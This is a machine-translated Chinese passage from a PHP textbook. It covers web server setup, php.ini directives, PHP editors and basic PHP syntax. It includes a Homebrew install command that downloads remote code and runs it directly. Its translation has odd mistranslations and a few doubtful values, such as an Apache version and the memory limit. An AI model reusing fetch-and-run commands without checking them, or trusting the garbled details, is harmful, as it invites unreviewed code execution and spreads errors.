现在您已经完成了 web 服务器的配置,是时候启动它了。简单的方法是运行命令 c:\Apache24\bin\httpd。如果配置没有错误,服务器将启动,您可以打开浏览器并键入地址http://localhost:8082/phpinfo.php,它将显示类似于图 2-5 所示的信息页面。

如果你想让 Apache 作为一个 Windows 服务安装,你可以运行命令c:\Apache24\bin\httpd -k install,然后你可以使用c:\Apache24\bin\httpd -k startc:\Apache24\bin\httpd -k stop与服务交互。

Nginx

web 服务器领域的新成员是 Nginx。这是一个轻量级的服务,可以与 Windows 上的 FastCGI 版本的 PHP 进行交互。正如我们稍后将展示的,它使用 Linux 上的 PHP-FPM 接口。前往 http://nginx.org/en/download.html 下载最新稳定版本。它是一个 zip 文件,可以解压到 c:\nginx-1.12.2(取决于当前的版本号)。在 Windows 上,为了使用 Nginx,应该已经运行了 php-cgi.exe 二进制文件。这可以通过从命令行运行命令c:\php7\php-cgi.exe -b 127.0.0.1:9123来完成。这将使命令行窗口保持打开。如果您想避免这种情况,可以下载一个实用程序,在隐藏窗口中运行该命令。该实用程序可以从 http://redmine.lighttpd.net/attachments/660/RunHiddenConsole.zip 下载。如果您将可执行文件放在 nginx 文件夹中,启动命令将如下所示:

c:\nginx-1.12.2\RunHiddenConsole.exe c:\php7\php-cgi.exe -b 127.0.0.1:9123

端口号 9123 是任意选择的。您可以使用与您的系统匹配的任何未使用的号码。您只需要确保在 nginx 配置文件中使用相同的编号。在您最喜欢的编辑器中打开 c:\ nginx-1 . 12 . 2 \ conf \ nginx . conf,将 server 部分中的 listen 行更新为 8083 而不是 80,并在 server 块中添加一个如下所示的部分:

root c:/Web/site;

location ~ \.php$ {
    fastcgi_pass   127.0.0.1:9123;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
    include        fastcgi_params;
}

现在,您可以从命令行使用命令c:\nginx-1.12.2\nginx启动 nginx 服务器。确保您位于 nginx-1.12.2 文件夹中。要测试服务器,请打开浏览器并转到http://localhost:8083/phpinfo.php。您将再次看到如图 2-5 所示的信息页面。

苹果

macOS 预装了 PHP。不幸的是,它通常是一个旧版本的 PHP,目前在 OS X 的最新版本 High Sierra 上是 5.6.30 和 7.1。最佳做法是使用 Mac OSX 可用的软件包管理器(MacPorts 或 Homebrew)之一来获得最新版本的 PHP。这些包管理器以一种易于在 OSX 上安装和使用的方式提供了一大套在 Linux 平台上可用的软件包。

在安装 Homebrew 之前,您需要下载并安装 Xcode。Xcode 是 app store 的免费应用。下载后,您必须从终端窗口运行该命令。

xcode-select – install

为了使用自制软件( https://brew.sh/ ),你必须先安装一些基本的组件。这可以通过在终端中运行以下命令来实现:

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

这将安装和配置 brew 系统。建议定期运行以下命令,以确保您拥有最新版本的安装包和 Homebrew 本身。

$ brew update
$ brew upgrade

要开始安装 PHP,你必须运行几个命令,允许自制软件进入公式库。

brew tap homebrew/dupes
brew tap homebrew/versions
brew tap homebrew/homebrew-php

现在您可以运行命令来安装 php 7.1

brew install php71

要安装 nginx,运行以下命令

brew install nginx

这将安装和配置 Nginx 在端口 8080 上运行,这允许它在没有超级用户访问(sudo)的情况下启动。

默认配置使用/usr/local/var/www 作为文档根目录。将包含以下内容的文件放在那里可以用来测试配置。

<?php
phpinfo();

Nginx 的默认配置将 PHP 部分注释掉了。在您喜欢的编辑器中打开/usr/local/etc/nginx . nginx . conf,取消对以下部分的注释:

location ~ \.php$ {
    root                 html;
    fastcgi_pass  127.0.0.1:9000
    fastcgi_index index.php;
    fastcgi_param SCRIPT_NAME $document_root$fastcgi_script_name
    include              fastcgi_params;
}

现在我们需要做的就是启动服务器。首先,我们启动 php-cgi 监听端口 9000,然后启动 nginx 服务器。

# php-cgi -b 127.0.0.1:9000 &
# nginx

打开浏览器,在地址栏中键入 localhost:8080/phpinfo.php。这将显示类似于上面窗口部分中显示的图 2-5 的输出。

Linux 操作系统

在基于 Linux 的操作系统上安装 PHP 通常从该系统上的包管理器开始。基于 Red Hat 的系统(CentOS、RHEL 或 Fedora)称为 yum。在其他系统上,它可能是 apt-get。Linux 发行版的维护者将构建包含 web 服务器、PHP、PHP 扩展和您可能需要的其他软件组件的包。它们中的许多甚至会提供依赖管理,所以当你试图安装一个软件包,而系统缺少一个或多个其他软件包时,它会根据系统的建议来安装这些软件包。

如果您刚刚安装了 CentOS 系统,可以使用下面的命令来安装 nginx 和 php:

%> yum install nginx php71u-cli php71u-fpm

或者,如果您的首选发行版是基于 Debian/Ubunto 的,您将运行 apt-get 命令来安装类似的库。

%> apt-get install nginx
%>apt-get install php-fpm

这将安装 Nginx web 服务器,PHP 的 web 服务器和命令行(CLI),它将安装一个特殊的组件称为 FastCGI 进程管理器(FPM)。这是一个 the FastCGI 版本的包装器,允许对负载较重的站点进行更多的调优。

根据 Linux 发行版的不同,PHP 文件最终会出现在发行版维护者定义的目录结构中。配置文件最有可能以/etc 结尾。

来源

PHP 也有源代码发行版(或者你可以直接去 GitHub https://github.com/php/php-src )。如果你想改进 PHP 或者添加你自己的扩展,这是一条可行之路。它需要关于你正在工作的平台上的配置工具和编译器的知识,但是它也允许你在最新版本的 PHP 上运行,甚至是尚未发布的版本。

配置 PHP

当您的系统上安装了 web 服务器和 PHP 二进制文件后,您就可以开始配置 PHP 了。这是通过一个名为 php.ini 的文件来完成的。这个文件的位置取决于操作系统和您使用的 php 发行版。在 Windows 上,它将位于 c:\php7 中(或者您选择将 zip 文件解压缩到的文件夹的名称);在 Mac 和 Linux 上,它可能在/etc(或/usr/local/etc)中。您可以在命令行上使用 phpinfo()函数或 php -I 来获取 php.ini 文件的位置。

php.ini 文件用于控制 php 的运行时配置。如果您自己编译 PHP,您也可以控制编译时配置。编译时配置用于定义要包含在二进制文件中的模块,选择线程安全或非线程安全选项等。运行时配置用于定义 PHP 运行的环境,有许多选项。完整的列表可以在 PHP 文档 https://php.net/manual/en/ini.list.php 中找到。

PHP 的基本包包含两个版本,分别叫做 php.ini-development 和 php.ini-production。这些文件针对开发和生产环境进行了优化。您必须将其中一个文件重命名为 php.ini,并可能重启 web 服务器来加载该文件。如果您使用软件包管理器安装,这通常会自动处理。您也可以从一个空文件启动自己的 php.ini 版本。这将使您完全控制内容,但要小心,因为这可能会遗漏重要的配置选项。如果您使用包管理器来获得 PHP 二进制文件,这些文件可能会有不同的名称,您可能会获得 Linux 发行版提供的 php.ini 版本。

根据 php 的调用方式(使用的 SAPI),可以创建 php.ini 文件的特殊版本。如果您将 PHP 同时用作 web 服务器的一部分和命令行(cli)工具,这将非常有用。您可以创建一个名为 php-cli.ini 的文件。如果在使用命令行版本时该文件存在(在 php.ini 所在的同一目录中),将使用它来代替常规的 php.ini。只有在 php-cli.ini 不存在时才使用 php.ini 文件。可以为任何受支持的 SAPIs 创建 php.ini 版本。

php.ini 文件可以用来配置 php 行为的几乎任何方面。有关完整和最新的选项列表,请参见 https://php.net/manual/en/configuration.file.phphttps://php.net/manual/en/ini.php

某些配置选项可以在中被覆盖。或者通过使用 PHP 脚本中的ini_set()函数。如果您托管在一个共享环境中,并且没有权限编辑 php.ini 文件,那么您可以使用。您的 PHP 脚本所在的目录中的 htaccess。这将允许您覆盖 php.ini 中定义的一些值,但它会带来性能开销,因为每个请求都会对文件进行评估,尽管这只是中等流量到大流量级别的站点的问题。

每个配置选项都有四个不同的范围类别。每个类都定义了如何改变它们。

  • PHP_INI_PERDIR:可以在php.inihttpd.conf.htaccess文件中修改指令

  • PHP_INI_SYSTEM:指令可以在php.inihttpd.conf文件中修改

  • PHP_INI_USER:可以在用户脚本中修改指令

  • PHP_INI_ALL:指令可以在任何地方修改

配置选项的文档包括类。

php.ini 文件是一个纯文本文件,包含节、注释以及成对的键和值。节是方括号中的名称,就像[PHP]。部分名称用于将配置选项分组到逻辑存储桶中。注释由一行第一个位置的分号(;)标识。每个配置选项都被写成 key = value,例如engine = On

默认的 ini 文件包含一个 PHP 常规设置部分,然后是每个已安装模块的一个部分。常规 PHP 部分包含以下逻辑子部分:

  • 关于 PHP . ini——文件和特性的描述

  • 快速参考–生产和开发版本之间的差异

  • php.ini 选项–用户定义的 ini 文件

  • 语言选项

  • 多方面的

  • 资源限制

  • 错误处理和记录

  • 数据处理

  • 路径和目录

  • 文件上传(在第十五章中介绍)

  • Fopen 包装纸

  • 动态扩展

Apache httpd.conf 和。htaccess 文件

当 PHP 作为 Apache 模块运行时,您可以通过httpd.conf文件或.htaccess文件修改许多 PHP 指令。这是通过在指令/值赋值前添加以下关键字之一来实现的:

  • php_value:设置指定指令的值。

  • php_flag:设置指定布尔指令的值。

  • php_admin_value:设置指定指令的值。这与php_value不同,它不能在.htaccess文件中使用,也不能在虚拟主机或.htaccess中被覆盖。

  • php_admin_flag:设置指定指令的值。这与php_value不同,它不能在.htaccess文件中使用,也不能在虚拟主机或.htaccess中被覆盖。

例如,要禁用短标记指令并防止其他人覆盖它,请将下面一行添加到您的httpd.conf文件中:

php_admin_flag short_open_tag Off

在执行脚本中

第三种,也是最本地化的,操作 PHP 配置变量的方法是通过 PHP 脚本本身的ini_set()函数。例如,假设您想修改 PHP 给定脚本的最大执行时间。只需将以下命令嵌入 PHP 脚本的顶部:

<?php
ini_set('max_execution_time', '60');

PHP 的配置指令

以下部分介绍了 PHP 的许多核心配置指令。除了一般定义之外,每个部分还包括配置指令的范围和默认值。因为您可能会花大部分时间在php.ini文件中处理这些变量,所以当这些指令出现在这个文件中时,它们就会被引入。

请注意,本节介绍的指令在很大程度上只与 PHP 的一般行为相关;本节不介绍与扩展相关的指令,也不介绍与本书后面重点关注的主题相关的指令,而是在相应的章节中介绍。

语言选项

本节中的指令决定了该语言的一些最基本的行为。您肯定想花一些时间来熟悉这些配置的可能性。请注意,我只强调了一些最常用的指令。请花些时间仔细阅读您的php.ini文件,了解您还可以使用哪些指令。

引擎= 开|关

范围:PHP_INI_ALL;默认值:On

这是语言选项部分中的第一个选项,但是只有在将 PHP 作为 Apache 模块运行时才有用。在这种情况下,可以使用每个目录的设置来启用/禁用 PHP 解析器。一般来说,您希望保留这个选项以使 PHP 有用。

short_open_tag = On | Off

范围:PHP_INI_PERDIR;默认值:On

尽管这在默认情况下是打开的,但在 php.ini 的分布式版本中是关闭的(-生产和开发)。PHP 脚本组件包含在转义语法中。有四种不同的转义格式,其中最短的称为短开始标记,如下所示:

<?
    echo "Some PHP statement";
?>

您可能认识到这种语法与 XML 是共享的,这在某些环境中可能会导致问题。因此,提供了一种禁用这种特定格式的方法。当short_open_tag使能(On)时,允许短标签;当残疾人(Off)时,他们不是。

精度 =整数

范围:PHP_INI_ALL;默认值:14

PHP 支持多种数据类型,包括浮点数。precision参数指定浮点数表示中显示的有效位数。请注意,该值在 Win32 系统上设置为 12 位,在 Linux 上设置为 14 位。

output_buffering = On | Off |整数

范围:PHP_INI_PERDIR;默认值:4096

任何人,哪怕只有很少的 PHP 经验,都可能非常熟悉下面两条消息:

"Cannot add header information – headers already sent"
"Oops, php_set_cookie called after header has been sent"

当脚本试图修改已经发送回请求用户的标题时,会出现这些消息。最常见的情况是,在一些输出已经被发送回浏览器之后,程序员试图向用户发送 cookie,这是不可能完成的,因为标题(用户看不到,但浏览器会使用)总是在该输出之前。PHP 4.0 版通过引入输出缓冲的概念为这个恼人的问题提供了一个解决方案。启用时,输出缓冲告诉 PHP 在脚本完成后立即发送所有输出。这样,对头部的任何后续更改都可以在整个脚本中进行,因为它还没有被发送。启用output_buffering指令打开输出缓冲。或者,您可以通过将输出缓冲区设置为您希望该缓冲区包含的最大字节数来限制输出缓冲区的大小(从而隐式启用输出缓冲)。

如果不打算使用输出缓冲,应该禁用该指令,因为它会稍微降低性能。当然,解决标题问题的最简单的方法就是尽可能在任何其他内容之前传递信息。

output_handler = 字符串

范围:PHP_INI_PERDIR;默认值:NULL

这个有趣的指令告诉 PHP 在将所有输出返回给请求用户之前,通过一个内置的输出函数传递它。例如,假设您希望在将所有输出返回到浏览器之前对其进行压缩,这是所有主流 HTTP/1.1 兼容浏览器都支持的一个特性。你可以这样分配output_handler:

output_handler = "ob_gzhandler"

ob_gzhandler()是 PHP 的压缩处理函数,位于 PHP 的输出控制库中。请记住,您不能同时将output_handler设置为ob_gzhandler()并启用zlib.output_compression(接下来讨论)。输出压缩通常由 web 服务器处理。在 PHP 中使用这个特性会导致一些 web 服务器出现问题。

zlib . output _ compression =On | Off | integer

范围:PHP_INI_ALL;默认值:Off

在输出返回到浏览器之前对其进行压缩可以节省带宽和时间。大多数现代浏览器都支持这一 HTTP/1.1 特性,并且可以安全地在大多数应用中使用。您可以通过将zlib.output_compression设置为On来启用自动输出压缩。此外,通过给zlib.output_compression分配一个整数值,您可以同时启用输出压缩和设置压缩缓冲区大小(以字节为单位)。

zlib . output _ handler =string

范围:PHP_INI_ALL;默认值:NULL

如果zlib库不可用,zlib.output_handler指定一个特定的压缩库。

implicit_flush = On | Off

范围:PHP_INI_ALL;默认值:Off

启用implicit_flush会导致在每次调用print()echo()并完成每个嵌入的 HTML 块后,自动清除或刷新其内容的输出缓冲区。在服务器需要很长时间来编译结果或执行某些计算的情况下,这可能很有用。在这种情况下,您可以使用此功能向用户输出状态更新,而不是等待服务器完成该过程。使用此功能会对性能产生影响。我们总是建议在尽可能短的时间内生成所有输出并返回给用户。对于高流量的网站,你应该考虑毫秒。

serialize_precision = 整数

范围:PHP_INI_ALL;默认值:-1

当 doubles 和 floats 被序列化时,serialize_precision指令决定了存储在浮点之后的位数。将此值设置为适当的值,可以确保在以后对数字进行非序列化时不会损失精度。

open _ base dir =字符串

范围:PHP_INI_ALL;默认值:NULL

很像 Apache 的DocumentRoot指令,PHP 的open_basedir指令可以建立一个基本目录,所有的文件操作都被限制在这个目录中。这可以防止用户进入服务器的其他受限区域。例如,假设所有 web 资料都位于目录/home/www 中。为了防止用户通过几个简单的 PHP 命令查看和潜在操纵像/etc/passwd这样的文件,可以考虑这样设置open_basedir:

open_basedir = "/home/www/"

disable_functions = 字符串

范围:php.ini only;默认值:NULL

在某些环境中,您可能希望完全禁止使用某些默认函数,例如exec()system() .这些函数可以通过将它们分配给 disable_function s参数来禁用,如下所示:

disable_functions = "exec, system";

disable_classes = 字符串

范围:php.ini only;默认值:NULL

考虑到 PHP 对面向对象范式的接受所提供的能力,用不了多久你就可以使用大型类库了。但是,在这些库中可能有某些您不希望提供的类。您可以通过disable_classes指令来阻止这些类的使用。例如,如果您想禁用两个名为vectorgraph的特定类,您可以使用以下命令:

disable_classes = "vector, graph"

请注意,该指令的影响并不依赖于 safe_mode 指令。

ignore _ user _ abort =Off | On

范围:PHP_INI_ALL;默认值:Off

有多少次你浏览到一个特定的页面,只是为了在页面完全加载之前退出或关闭浏览器?通常这种行为是无害的。但是,如果服务器正在更新重要的用户配置文件信息,或者正在完成一项商业交易,该怎么办呢?启用ignore_user_abort会导致服务器忽略由用户或浏览器发起的中断导致的会话终止。

多方面的

杂项类别由一个指令expose_php组成。

expose_php = On | Off

范围:php.ini only;默认值:On

潜在攻击者能够收集到的关于 web 服务器的每一点信息都会增加他成功破坏 web 服务器的机会。获取有关服务器特征的关键信息的一种简单方法是通过服务器签名。例如,默认情况下,Apache 将在每个响应头中广播以下信息:

Apache/2.7.0 (Unix) PHP/7.2.0 PHP/7.2.0-dev Server at www.example.com Port 80

禁用expose_php会阻止 web 服务器签名(如果启用的话)广播 PHP 已安装的事实。尽管您需要采取其他步骤来确保足够的服务器保护,但还是强烈建议您隐藏服务器属性,尤其是如果您想获得服务器的 PCI 认证。

注意

您可以通过在httpd.conf文件中将ServerSignature设置为Off来禁用 Apache 对其服务器签名的广播。

资源限制

尽管 PHP 的资源管理功能在版本 5 中得到了改进,在版本 7 中减少了资源的使用,但是您仍然必须小心确保脚本不会因为程序员或用户发起的操作而独占服务器资源。这种过度消耗普遍存在的三个特定领域是脚本执行时间、脚本输入处理时间和内存。每个都可以通过以下三个指令来控制。

max_execution_time = 整数

范围:PHP_INI_ALL;默认值:30

max_execution_time参数设置了 PHP 脚本可以执行的时间上限,以秒为单位。将该参数设置为0会禁用任何最大限值。注意,由 PHP 命令执行的外部程序所消耗的任何时间,比如exec()system(),都不计入这个限制。PHP 的许多内置流函数和数据库函数也是如此。

max_input_time = 整数

范围:PHP_INI_ALL;默认值:60

max_input_time参数限制了 PHP 脚本解析请求数据的时间,以秒为单位。当你使用 PHP 的文件上传功能上传大文件时,这个参数尤其重要,这将在第十五章中讨论。

内存限制= 内存

范围:PHP_INI_ALL;默认值:12 8M

memory_limit参数决定了可以分配给 PHP 脚本的最大内存量,以兆字节为单位。

数据处理

本节介绍的参数影响 PHP 处理外部变量的方式,这些变量通过一些外部来源传递到脚本中。GET、POST、cookies、操作系统和服务器都可能提供外部数据。本节中的其他参数决定了 PHP 的默认字符集、PHP 的默认 MIME 类型,以及外部文件是否会自动添加到 PHP 的返回输出中。

arg _ separator . output =string

范围:PHP_INI_ALL;默认值:&

PHP 能够自动生成 URL,并使用标准的&符号来分隔输入变量。但是,如果您需要覆盖这个约定,您可以通过使用arg_separator.output指令来实现。

arg _ separator . input =string

范围:PHP_INI_PERDIR;默认值:&

&符号(&)是用于分隔通过 POST 或 GET 方法传入的输入变量的标准字符。虽然不太可能,但是如果您需要在您的 PHP 应用中覆盖这个约定,您可以通过使用arg_separator.input指令来实现。

变量 _ 顺序= 字符串

范围:PHP_INI_PERDIR;默认值:EGPCS

variables_order指令决定了ENVIRONMENTGETPOSTCOOKIESERVER变量的解析顺序。这些值的排序可能会导致意外的结果,因为后面的变量会覆盖过程中前面解析的变量。

register_argc_argv = 开|关

范围:PHP_INI_PERDIR;默认值:1

通过 GET 方法传递变量信息类似于向可执行文件传递参数。许多语言根据argcargv来处理这样的参数。argc是参数计数,argv是包含参数的索引数组。如果你想声明变量$argc$argv并模仿这个功能,启用register_argc_argv。这个特性主要用于 PHP 的 CLI 版本。

post_max_size = integerM

范围:PHP_INI_PERDIR;默认值:8M

在请求之间传递数据的两种方法中,POST 更适合传输大量数据,比如通过 web 表单发送的数据。然而,出于安全和性能的原因,您可能希望对通过这种方法发送给 PHP 脚本的数据量设置一个上限;这可以通过使用post_max_size来完成。

auto _ prepend _ file =string

范围:PHP_INI_PERDIR;默认值:NULL

在执行 PHP 脚本之前创建页眉模板或包含代码库通常是使用include()require()函数来完成的。通过给auto_prepend_file指令指定文件名和相应的路径,您可以自动化这个过程,并且放弃在脚本中包含这些函数。

auto_append_file = 字符串

范围:PHP_INI_PERDIR;默认值:NULL

在 PHP 脚本执行后自动插入页脚模板通常是使用include()require()函数完成的。通过将模板文件名和相应的路径分配给auto_append_file指令,您可以自动化这个过程,并放弃在脚本中包含这些函数。

default _ mime type =字符串

范围:PHP_INI_ALL;默认值:text/html

MIME 类型提供了一种对互联网上的文件类型进行分类的标准方法。您可以通过 PHP 应用提供这些文件类型中的任何一种,最常见的是 text/html。但是,如果您以其他方式使用 PHP,比如为移动应用生成 JSON 格式的 API 响应,那么您需要相应地调整 MIME 类型。您可以通过修改 default_mimetype 指令来实现这一点。

default_charset = string

范围:PHP_INI_ALL;默认值:UTF-8

PHP 在 Content-Type 头中输出一个字符编码。默认情况下,这被设置为 UTF-8。

路径和目录

本节介绍决定 PHP 默认路径设置的指令。这些路径用于包含库和扩展,以及用于确定用户 web 目录和 web 文档根目录。

include_path = string

范围:PHP_INI_ALL;默认值:.;/path/to/php/pear

如果第三个参数设置为 true,则该参数设置的路径将作为函数使用的基本路径,如include() , require()fopen()。您可以指定多个目录,用分号分隔每个目录,如下例所示:

include_path=".:/usr/local/include/php;/home/php"

请注意,在 Windows 上,使用反斜线代替正斜线,并且驱动器号位于路径的前面:

include_path=".;C:\php\includes"

doc_root = 字符串

范围:PHP_INI_SYSTEM;默认值:NULL

这个参数决定了所有 PHP 脚本的默认服务。只有当它不为空时,才使用此参数。

user_dir = 字符串

范围:PHP_INI_SYSTEM;默认值:NULL

user_dir指令指定了 PHP 使用/~username约定打开文件时使用的绝对目录。例如,当user_dir被设置为/home/users并且用户试图打开文件~/gilmore/collections/books.txt时,PHP 知道绝对路径是/home/users/gilmore/collections/books.txt

扩展目录= 字符串

范围:PHP_INI_SYSTEM;默认值:/path/to/php(在 Windows 上,默认值是ext)

指令告诉 PHP 它的可加载扩展(模块)在哪里。默认情况下,这设置为。/,这意味着可加载的扩展与正在执行的脚本位于同一目录中。在 Windows 环境下,如果没有设置 extension_dir,则默认为C:\PHP-INSTALLATION-DIRECTORY\ext\

Fopen 包装纸

本节包含五个与远程文件的访问和操作相关的指令。

allow_url_fopen = On | Off

范围:PHP_INI_SYSTEM;默认值:On

启用allow_url_fopen允许 PHP 将远程文件视为本地文件。启用后,如果文件具有正确的权限,PHP 脚本可以访问和修改驻留在远程服务器上的文件。

from = 字符串

范围:PHP_INI_ALL;默认值:""

指令的标题可能会引起误解,因为它实际上决定了用于执行 FTP 连接的匿名用户的密码,而不是身份。因此,如果from这样设定:

from = "jason@example.com"

当请求认证时,用户名anonymous和密码jason@example.com将被传递给服务器。

user_agent = string

范围:PHP_INI_ALL;默认值:NULL

PHP 总是发送一个内容头及其处理后的输出,包括一个用户代理属性。该指令确定该属性的值。

default_socket_timeout = 整数

范围:PHP_INI_ALL;默认值:60

此指令确定基于套接字的流的超时值,以秒为单位。

auto _ detect _ line _ endings =On | Off

范围:PHP_INI_ALL;默认值:0

开发人员感到沮丧的一个永无止境的原因是行尾(EOL)字符,因为不同的操作系统使用不同的语法。启用auto_detect_line_endings决定了fgets()file()读取的数据是使用 Macintosh、MS-DOS 还是 Linux 文件约定(\r、\r\n 还是\n)。当读取文件的第一行时,启用此选项会导致较小的性能损失。

动态扩展

本节包含一个指令extension

扩展名= 字符串

范围:php.ini only;默认值:NULL

扩展指令用于动态加载特定的模块。在 Win32 操作系统上,模块可能是这样加载的:

extension = php_bz2.dll

在 Unix 上,它将这样加载:

extension = php_bz2.so

请记住,在任一操作系统上,简单地取消注释或添加这一行并不一定会启用相关的扩展。您还需要确保扩展已经编译或安装,并且操作系统上安装了任何必要的软件或库。

选择编辑

PHP 脚本是文本文件,可以用任何文本编辑器创建,但是现代编辑器或集成开发环境(IDE)提供了许多对开发人员有益的特性。选择一个支持所有你喜欢的语言或者至少 PHP 和 JavaScript 的 IDE 应该是必须的。语法突出显示、代码完成、文档集成和版本控制系统等都是现代 ide 中可用的特性。有一些开源或免费的编辑器(Atom、Komodo Edit、Visual Studio Code)和大量的商业产品(PHPStorm、Sublime Text 等)。有些编辑器可以在多个平台上使用,但是在选择 IDE 的时候,很大程度上取决于开发人员的偏好,也许在某种程度上还取决于您所工作的组织的文化。

PHPStorm

PHP Storm 是一个强大的编辑器,也许是目前最受欢迎的编辑器。由 JetBrains ( https://www.jetbrains.com/phpstorm/ )提供。它支持 PHP、SQL、CSS、HTML、JavaScript 的代码补全;集成到版本控制和数据库,以及 xdebug 等。它被认为是一个完整的、同类最佳的 IDE。

原子

Atom ( https://atom.io )是一个高度可配置的开源编辑器,对黑客攻击/改进编辑器本身是开放的。默认下载包括对 PHP 的支持,但是您必须下载一个自动完成包。

崇高的文本

Sublime Text ( https://www.sublimetext.com/ )适用于 Windows、Mac OSX 和许多 Linux 发行版(CentOS、Ubuntu、Debian 和其他一些发行版)。它是按用户许可的,允许您在多个系统上安装它,只要在任何给定时间只有一个系统在使用。

Visual Studio 代码

微软已经创建了 Visual Studio 的免费版本(code . Visual Studio . com/)。它可以在 Windows、Mac OSX 和 Linux 系统上运行。它没有本地 PHP 支持,但是有一个商业插件。

PHP 开发工具

PDT 项目( https://www.eclipse.org/pdt )目前看起来势头不小。在 Zend Technologies ltd .(https://www.zend.com)的支持下,并构建在开源 Eclipse 平台( https://www.eclipse.org )(一个用于构建开发工具的广受欢迎的可扩展框架)之上,PDT 很可能成为业余爱好者和专业人士事实上的开源 PHP IDE 的领跑者。

注意

Eclipse 框架已经成为许多项目的基础,这些项目促进了关键的开发任务,例如数据建模、商业智能和报告、测试和性能监控,以及最显著的编写代码。虽然 Eclipse 最出名的是它的 Java IDE,但它也有用于 C、C++、Cobol 以及最近的 PHP 等语言的 IDE。

Zend 工作室

ZendStudio 是当今所有商业和开源产品中最强大的 PHP IDE 之一。作为 Zend Technologies Ltd .的旗舰产品,Zend Studio 提供了企业 IDE 的所有功能,包括全面的代码完成、CVS、Subversion 和 git 集成、对 Docker 的支持、内部和远程调试、代码分析以及方便的代码部署过程。

除了能够执行 SQL 查询以及查看和管理数据库模式和数据之外,还提供了将代码与 MySQL、Oracle、PostgreSQL 和 SQLite 等流行数据库集成的工具。

Zend Studio ( https://www.zend.com/products/studio )可用于 Windows、Linux 和 Mac OS X 平台。

摘要

在这一章中,你学习了如何配置你的环境来支持 PHP 驱动的 web 应用的开发。特别关注 PHP 的许多运行时配置选项。最后,向您简要介绍了最常用的 PHP 编辑器和 ide,以及在搜索 web 托管提供商时需要注意的一些问题。

在下一章中,你将通过创建你的第一个 PHP 驱动的网页和学习该语言的基本特性来开始你对 PHP 语言的探索。根据其结论,您将能够创建简单但非常有用的脚本。这些材料为后续章节奠定了基础,在这些章节中,您将获得开始构建一些真正酷的应用所需的知识。

三、PHP 基础

这本书你只看了两章,已经涉及了相当多的内容。到目前为止,您已经熟悉了 PHP 的背景和历史,并且已经回顾了该语言的关键安装和配置概念和过程。到目前为止,您所学到的知识为本书的剩余内容奠定了基础:创建强大的 PHP 驱动的网站!本章开始了这一讨论,介绍了这种语言的大量基本特性。具体来说,您将学习如何执行以下操作:

  • 在你的网页中嵌入 PHP 代码。

  • 使用从 Unix shell 脚本、C 和 C++语言借用的各种方法对代码进行注释。

  • 使用echo(),print(), printf(),sprintf()语句将数据输出到浏览器。

  • 使用 PHP 的数据类型、变量、操作符和语句来创建复杂的脚本。

  • 利用关键控制结构和语句,包括if-else-elseifwhileforeach, include, require, break, continuedeclare.

学完这一章,你不仅会掌握创建基本但有用的 PHP 应用所必需的知识,还会理解如何充分利用后面章节中的内容。

注意

本章既是新手程序员的教程,也是新手程序员的参考。如果你属于前一类,考虑完整地阅读这一章,并跟随例子。

在你的网页中嵌入 PHP 代码

PHP 的一个优势是你可以直接将 PHP 代码嵌入到 HTML 中。为了让代码做任何事情,必须将页面传递给 PHP 引擎进行解释。但是 web 服务器不只是传递每一页;相反,它只传递那些按照第二章中的指令定义的由特定文件扩展名(通常是.php)标识的页面。但是,即使有选择地只将某些页面传递给引擎,对于引擎来说,将每一行都视为潜在的 PHP 命令也是非常低效的。因此,引擎需要一些方法来立即确定页面的哪些区域启用了 PHP。这在逻辑上是通过将代码包含在 PHP 标签中来实现的。PHP 标签通常被定义为开头的<?php和结尾的?>

每个文件可以包含一个 PHP 代码块,也可以包含嵌入整个文件的多个代码块。当文件包含单个 PHP 代码块时,通常会排除终止标签?>。这将消除任何内容,特别是作为输出的一部分发送给客户机的文件末尾的空白。

默认语法

默认分隔符语法以<?php开头,以?>结尾,如下所示:

<h3>Welcome!</h3>
<?php
    echo "<p>Some dynamic output here</p>";
?>
<p>Some static output here</p>

如果您将这段代码保存为first.php并从支持 PHP 的 web 服务器上执行它,您将看到如图 3-1 所示的输出。

img/314623_5_En_3_Fig1_HTML.jpg

图 3-1

PHP 输出示例

短标签

对于积极性不高的打字员,可以使用更短的分隔符语法。这种语法被称为短标签,它放弃了默认语法中所需的php引用。然而,要使用这个特性,您需要确保 PHP 的short_open_tag指令是启用的(这是默认的)。下面是一个例子:

<?
    print "This is another PHP example.";
?>

如果您想快速地进出 PHP 以输出一些动态文本,您可以使用一种称为 shortcircuit 语法的输出变体来省略这些语句,如下例所示。

<?="This is another PHP example.";?>

这在功能上等同于以下两种变体:

<? echo "This is another PHP example."; ?>
<?php echo "This is another PHP example.";?>

嵌入多个代码块

在一个给定的页面中,您可以根据需要多次进出 PHP。例如,下面的例子是完全可以接受的:

<html>
<head>
<title><?php echo "Welcome to my web site!";?></title>
</head>
<body>
<?php
         $date = "November 2, 2017";
      ?>
<p>Today's date is <?=$date;?></p>
</body>
</html>

如您所见,前面代码块中声明的任何变量都会被后面的代码块记住,本例中的$date变量就是这种情况。变量将在本章后面讨论。基本定义是所有变量都以一个$字符开头。这使得有一个名为$data的变量和一个名为date()的内部函数成为可能,并允许解释器知道其中的区别。

注释您的代码

无论是为了你自己的利益还是为了负责维护你的代码的人的利益,彻底注释你的代码的重要性不能被夸大。PHP 提供了几种语法变体,尽管和定界变体一样,只有两种用于 any regularly,这两种我都将在本节中介绍。

单行 C++语法

注释通常只需要一行,这意味着您需要做的就是在该行前面加上一个特殊的字符序列,告诉 PHP 引擎该行是一个注释,应该被忽略。这个字符序列就是双斜线,//

<?php
    // Title: My first PHP script
    // Author: Jason Gilmore
    echo "This is a PHP program.";
?>

作为双斜杠的替代,PHP 还支持 Perl 风格的注释,其中#被用作字符,表示该行的其余部分将被视为注释。

<?php
# Title: My first PHP script
# Author: Jason Gilmore
    echo "This is a PHP program."; # Some comment here
?>

//#都可以在一行代码的任何地方使用。PHP 解释器将忽略注释字符右边的所有内容。

phpDocumentor 的高级文档

因为文档是有效的代码创建和管理的如此重要的一部分,所以已经投入了相当大的努力来设计帮助开发人员自动化该过程的解决方案。事实上,现在所有主流编程语言都有先进的文档解决方案,包括 PHP。phpDocumentor ( https://www.phpdoc.org )是一个开源项目,它通过将源代码中嵌入的注释转换成各种易读的格式(包括 HTML 和 PDF)来简化文档处理过程。

phpDocumentor 的工作原理是解析应用的源代码,搜索被称为文档块 的特殊注释。文档块用于记录应用中的所有代码,包括脚本、类、函数、变量等等,它包含人类可读的解释以及形式化的描述符,如作者姓名、代码版本、版权声明、函数返回值等等。

